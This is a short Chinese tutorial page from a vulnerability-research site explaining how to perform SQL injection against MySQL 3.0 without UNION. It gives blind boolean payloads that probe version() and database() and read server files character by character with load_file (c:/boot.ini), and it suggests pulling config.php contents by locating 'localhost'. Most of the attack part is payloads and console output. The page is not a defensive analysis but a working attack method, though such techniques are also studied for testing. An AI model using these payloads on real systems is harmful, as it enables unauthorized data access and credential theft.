关于mysql 3.0的注射的一点思路_漏洞研究教程-查字典教程网
关于mysql 3.0的注射的一点思路
关于mysql 3.0的注射的一点思路
发布时间:2016-12-26 来源:查字典编辑
摘要:mysql3.0的注射对mysql的注射主要是靠union的联合查询,但union只对版本4。0以上的有用,对3。0以下的就没用了。。。。。...

mysql3.0的注射

对mysql的注射主要是靠union的联合查询,但union只对版本4。0以上的有用,对3。0以下的就没用了。。。。。。。。。。

所以在mysql3.0的数据库里没办法使用union进行跨表查询,但可以使用load_file

但是也不可以直接使用union替换出来。下面就是我的一点思路:

得到版本:

mysql>select*fromuserwhereuserid=1andlength(version())<10;

Emptyset(0.00sec)

mysql>select*fromuserwhereuserid=1andlength(version())<1777;

+--------+----------+----------+

|userid|username|password|

+--------+----------+----------+

|1|angel|mypass|

+--------+----------+----------+

1rowinset(0.00sec)

得到当前数据库:

mysql>select*fromuserwhereuserid=1andlength(database())>0;

+--------+----------+----------+

|userid|username|password|

+--------+----------+----------+

|1|angel|mypass|

+--------+----------+----------+

1rowinset(0.00sec)

暴取文件代码:

mysql>select*fromuserwhereuserid=1andascii(mid(load_file('c:/boot.ini'),1,1))<1;

Emptyset(0.05sec)

mysql>select*fromuserwhereuserid=1andascii(mid(load_file('c:/boot.ini'),1,1))>1;

+--------+----------+----------+

|userid|username|password|

+--------+----------+----------+

|1|angel|mypass|

+--------+----------+----------+

1rowinset(0.00sec)

因为工作量大,可以用程序来实现(不过也很麻烦)

另外思路:可以先使用字符处理函数得到"特殊字符的位置",如我们暴的是config.php文件我们就可以选取"localhost"(或其他)为特殊字符,先得到所在的位置(在哪个字节),在去猜它附近的,这样可以省去不少工作量。

相关阅读
推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
  • 大家都在看
  • 小编推荐
  • 猜你喜欢
  • 最新漏洞研究学习
    热门漏洞研究学习
    实用技巧子分类